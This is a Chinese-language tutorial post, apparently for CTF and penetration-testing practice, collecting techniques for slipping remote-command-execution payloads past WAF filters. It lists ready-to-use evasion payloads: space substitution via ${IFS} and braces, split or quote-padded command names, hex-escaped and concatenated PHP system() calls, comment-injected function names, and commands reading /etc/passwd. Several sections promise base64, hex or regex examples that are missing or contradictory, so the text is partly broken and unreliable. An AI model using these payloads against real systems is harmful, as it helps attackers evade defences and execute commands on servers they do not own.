前言
本次文章只用于技术讨论,学习,切勿用于非法用途,用于非法用途与本人无关!
所有环境均为本地环境分析,且在本机进行学习。
关于Bypass,我们应该从哪些角度开展呢。要知道怎么绕过,我们就得知道防火墙的过滤规则才行。那我们想想,比如在利用RCE漏洞的时候,我们当然想用cat、chmod、whoami、ifconfig、ls等这些操作对不对!像这些敏感命令,防火墙就会进行过滤。还有特殊字符如单引、双引、空格等等,防火墙同样会进行过滤。那我们现在知道那该死的防火墙不让我们输入那些敏感字符了,我们就要想办法找一些可以代替这些敏感字符且又能表达其字符的意思的东西对吧?所以我们直接进入今天的主题!
一、RCE bypass姿势
1.1、空格绕过
过滤空格的情况可以通过利用重定向符、IFS、其他字符代替、{,}等方法进行绕过。
1、 cat<>11.php //重定向符 2、 cat${IFS}11.php //IFS 3、 cat$IFS$911.php //$IFS$9 4、 {cat,11.php} //{,}
1.2、命令或特殊字符绕过
(1)、如果过滤了某个命令,可以利用命令拼接、插入空字符串或者反单引号来绕过。
//假设过滤了cat 1、 a=c;b=a;c=t;$a$b$c //拼接 2、 c"a"t //插入空字符串 3、 c""a""t //也是插入空字符串 4、 c''a''t //反单引号
这个也有很多灵活的变种,比如第一种拼接方法,如果过滤了分号,可以利用%0a
及类似的字符来代替分号。
(2)、利用base编码绕过
base64编码内容是cat 11.php
(3)、利用hex编码(十六进制)绕过
echo的十六进制是cat 11.php 注意:不加0x
(4)、利用未初始化变量
1.3、过滤文件名绕过
(1)、利用正则匹配绕过
例如过滤了/etc/passwd文件,使用正则匹配绕过。
(2)、使用未初始化变量绕过过滤文件名
1.4、命令执行函数system()绕过
系统命令函数system()、 passthru() 、exec() 、shell_exec()、 popen()、 proc_open()、 pcntl_exec() 、shell_exec()用以上函数都可进行绕过。
(1)、函数过滤绕过
"\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");
(sy.(st).em)(whoami);
(2)、插入注释(这对于绕过阻止特定PHP函数名称的WAF规则集很有用)
php -r "system/*caixukun*/(whoami);"
php -r "system/*caixukun*/(wh./*caixukun*/(oa)/*caixukun*/.mi);"
php -r "(sy./*caixukun*/(st)/*caixukun*/.em)/*caixukun*/(wh./*caixukun*/(oa)/*caixukun*/.mi);"
二、总结
本次文章所讲到的绕过适用于CTF、渗透测试,有不周到的地方,还请各位大佬海涵!